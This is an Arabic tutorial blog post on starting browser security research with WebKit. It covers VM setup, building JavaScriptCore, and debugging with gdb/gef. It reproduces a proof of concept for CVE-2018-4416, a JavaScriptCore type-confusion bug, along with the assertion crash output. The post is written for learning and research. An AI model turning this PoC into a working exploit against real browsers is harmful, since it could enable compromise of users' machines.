
شرح تعليمي تفصيلي لثغرة CVE-2018-4416، وهي ثغرة خلط الأنواع في WebKit JavaScriptCore، مع PoC، وإعداد بيئة التصحيح، وتحليل تقنيات استغلال الثنائيات الشائعة في المتصفحات.
اخترت واحدًا سهلًا نسبيًا: /WebKit/. (قد يكون ChakraCore أسهل، LoL. لكن توجد شائعة عن إلغاء مشروع مايكروسوفت. لذلك قررت ألا أختاره).
سأكتب سلسلة من المنشورات لتسجيل ملاحظاتي في دراسة أمن /WebKit/. إنها أيضًا أول مرة أتعلم فيها أمن المتصفح، ومنشوراتي على الأرجح ستحتوي على الكثير من الأخطاء. إذا لاحظتها، فلا تتردد في التواصل معي للتصحيح.
قبل قراءته، تحتاج إلى معرفة: - قواعد C++ - قواعد لغة التجميع - تثبيت الآلة الافتراضية - الإلمام بنظام Ubuntu وسطر أوامره - المفاهيم الأساسية لنظرية الترجمة
** الآلة الافتراضية :PROPERTIES: :CUSTOM_ID: virtual-machine :END: أولاً، نحتاج إلى تثبيت VM كهدف اختبار. هنا، اخترت /Ubuntu 18.04 LTS/ و /Ubuntu 16.04 LTS/ كأنظمة مضيفة. يمكنك التنزيل [[https://www.ubuntu.com/][هنا]]. إذا لم أحدد الإصدار، فيرجى استخدام 18.04 LTS كإصدار افتراضي.
قد يكون Mac خيارًا أكثر ملاءمة لأنه يحتوي على XCode و Safari. بالنظر إلى الاستهلاك العالي للموارد والتحديثات غير المستقرة لنظام MacOS، أفضل استخدام Ubuntu.
نحتاج إلى برنامج VM. أفضل استخدام [[https://www.vmware.com/][VMWare]]. Parallel Desktop و VirtualBox (مجاني) جيدان أيضًا، الأمر يعتمد على عادتك الشخصية.
لن أخبرك بكيفية تثبيت Ubuntu على VMWare خطوة بخطوة. ومع ذلك، ما زلت بحاجة إلى تذكيرك بتخصيص أكبر قدر ممكن من الذاكرة ووحدات المعالجة لأن عملية الترجمة تستهلك كمية هائلة من الموارد. قرص بسعة 80GB يجب أن يكون كافيًا لتخزين الكود المصدري والملفات المترجمة.
** كود المصدر :PROPERTIES: :CUSTOM_ID: source-code :END: يمكنك تنزيل كود مصدر WebKit بثلاث طرق: [[https://github.com/WebKit/webkit][/git/]]، و /svn/، و [[https://webkit.org/getting-the-code/][/archive/]].
مدير الإصدارات الافتراضي لـ WebKit هو svn. لكنني اخترت git (غير معتاد جدًا على استخدام svn):
#+begin_example git clone git://git.webkit.org/WebKit.git WebKit #+end_example
** المصحح والمحرر :PROPERTIES: :CUSTOM_ID: debugger-and-editor :END: IDE يستهلك الكثير من الموارد، لذلك أستخدم vim لتحرير الكود المصدري.
معظم أعمال التصحيح التي رأيتها تستخدم lldb الذي لست معتادًا عليه. لذلك، قمت أيضًا بتثبيت gdb مع إضافة gef.
#+begin_src shell sudo apt install vim gdb lldb wget -q -O- https://github.com/hugsy/gef/raw/master/scripts/gef.sh | sh #+end_src
** اختبار :PROPERTIES: :CUSTOM_ID: test :END: *** ترجمة JavaScriptCore :PROPERTIES: :CUSTOM_ID: compiling-javascriptcore :END: ترجمة WebKit كامل تستغرق قدرًا كبيرًا من الوقت. نحن نترجم حاليًا JSC (JavaScript Core) فقط، حيث تأتي معظم الثغرات.
الآن، يجب أن تكون في الدليل الجذر لكود مصدر WebKit. نفّذ هذا لتجهيز التبعيات:
#+begin_src shell Tools/gtk/install-dependencies #+end_src
على الرغم من أننا لم نترجم WebKit كاملًا بعد، يمكنك تثبيت التبعيات المتبقية أولاً للاختبارات المستقبلية. هذه الخطوة غير مطلوبة في ترجمة JSC إذا كنت لا تريد قضاء وقت طويل:
#+begin_src shell Tools/Scripts/update-webkitgtk-libs #+end_src
بعد ذلك، يمكننا ترجمة JSC:
#+begin_src shell Tools/Scripts/build-webkit --jsc-only #+end_src
بعد دقائق قليلة، يمكننا تشغيل JSC بواسطة:
#+begin_src shell WebKitBuild/Release/bin/jsc #+end_src
لنقم ببعض الاختبارات:
#+begin_example
1+1 2 var obj = {a:1, b:"test"} undefined JSON.stringify(obj) {"a":1,"b":"test"} #+end_example
*** استدعاء الأخطاء :PROPERTIES: :CUSTOM_ID: triggering-bugs :END:
#+begin_quote Ubuntu 18.04 LTS هنا #+end_quote
نستخدم [[https://bugs.chromium.org/p/project-zero/issues/detail?id=1652][CVE-2018-4416]] للاختبار، إليك الـ PoC. احفظه في =poc.js= في نفس المجلد الخاص بـ =جsc=:
#+begin_example function gc() { for (let i = 0; i < 10; i++) { let ab = new ArrayBuffer(1024 * 1024 * 10); } }
function opt(obj) { // Starting the optimization. for (let i = 0; i < 500; i++) {
}
let tmp = {a: 1};
gc();
tmp.__proto__ = {};
for (let k in tmp) { // The structure ID of "tmp" is stored in a JSPropertyNameEnumerator.
tmp.__proto__ = {};
gc();
obj.__proto__ = {}; // The structure ID of "obj" equals to tmp's.
return obj[k]; // Type confusion.
}
}
opt({});
let fake_object_memory = new Uint32Array(100); fake_object_memory[0] = 0x1234;
let fake_object = opt(fake_object_memory); print(fake_object); #+end_example
أولاً، بدّل إلى الإصدار الضعيف:
#+begin_example git checkout -b CVE-2018-4416 034abace7ab #+end_example
#+begin_quote قد يستغرق وقتًا أطول من الترجمة #+end_quote
شغّل: =./jsc poc.js=، وسنحصل على:
#+begin_example ASSERTION FAILED: structureID < m_capacity ../../Source/JavaScriptCore/runtime/StructureIDTable.h(129) : JSC::Structure* JSC::StructureIDTable::get(JSC::StructureID) 1 0x7f055ef18c3c WTFReportBacktrace 2 0x7f055ef18eb4 WTFCrash 3 0x7f055ef18ec4 WTFIsDebuggerAttached 4 0x5624a900451c JSC::StructureIDTable::get(unsigned int) 5 0x7f055e86f146 bool JSC::JSObject::getPropertySlot(JSC::ExecState*, JSC::PropertyName, JSC::PropertySlot&) 6 0x7f055e85cf64 7 0x7f055e846693 JSC::JSObject::toPrimitive(JSC::ExecState*, JSC::PreferredPrimitiveType) const 8 0x7f055e7476bb JSC::JSCell::toPrimitive(JSC::ExecState*, JSC::PreferredPrimitiveType) const 9 0x7f055e745ac8 JSC::JSValue::toStringSlowCase(JSC::ExecState*, bool) const 10 0x5624a900b3f1 JSC::JSValue::toString(JSC::ExecState*) const 11 0x5624a8fcc3a9 12 0x5624a8fcc70c 13 0x7f05131fe177 Illegal instruction (core dumped) #+end_example
إذا قمنا بتشغيل هذا على أحدث إصدار (=git checkout master= للعودة، وحذف محتوى البناء =rm -rf WebKitBuild/Relase/= و =rm -rf WebKitBuild/Debug/=):
#+begin_example ./jsc poc.js WARNING: ASAN interferes with JSC signal handlers; useWebAssemblyFastMemory will be disabled. OK undefined
================================================================= ==96575==ERROR: LeakSanitizer: detected memory leaks
Direct leak of 96 byte(s) in 3 object(s) allocated from: #0 0x7fe1f579e458 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xe0458) #1 0x7fe1f2db7cc8 in __gnu_cxx::new_allocator<std::_Sp_counted_deleter<std::mutex*, std::__shared_ptr<std::mutex, (__gnu_cxx::_Lock_policy)2>::_Deleter<std::allocatorstd::mutex >, std::allocatorstd::mutex, (__gnu_cxx::_Lock_policy)2> >::allocate(unsigned long, void const*) (/home/browserbox/WebKit/WebKitBuild/Debug/lib/libJavaScriptCore.so.1+0x5876cc8) #2 0x7fe1f2db7a7a in std::allocator_traits<std::allocator<std::_Sp_counted_deleter<std::mutex*, std::__shared_ptr<std::mutex, (__gnu_cxx::_Lock_policy)2>::_Deleter<std::allocatorstd::mutex >, std::allocatorstd::mutex, (__gnu_cxx::_Lock_policy)2> > >::allocate(std::allocator<std::_Sp_counted_deleter<std::mutex*, std::__shared_ptr<std::mutex,
... // lots of error message
SUMMARY: AddressSanitizer: 216 byte(s) leaked in 6 allocation(s). #+end_example
الآن، نجحنا في استدعاء خطأ!
لن أشرح التفاصيل (لا أعرفها أيضًا). آمل أن نتمكن من اكتشاف السبب الجذري بعد بضعة أسابيع
هنا، أناقش فقط الأخطاء المتعلقة بمستوى الثنائيات. بعض الأخطاء عالية المستوى، مثل /URL Spoof/ أو /UXSS/، ليست موضوعنا. الأمثلة أدناه ليست من WebKit فقط. بعضها أخطاء من Chrome. سنقدمها بإيجاز. وسنحلل الـ PoC بالتفصيل لاحقًا.
قبل قراءة هذا الجزء، يُنصح بشدة بقراءة بعض المواد حول نظرية المترجمات. يجب أيضًا تعلم المعرفة الأساسية بـ Pwn. شرحي ليس واضحًا. مرة أخرى، صحح أخطائي إذا وجدتها.
سيتم تحديث هذا المنشور عدة مرات كلما تعمق فهمي في JSC. لا تنسَ مراجعته لاحقًا.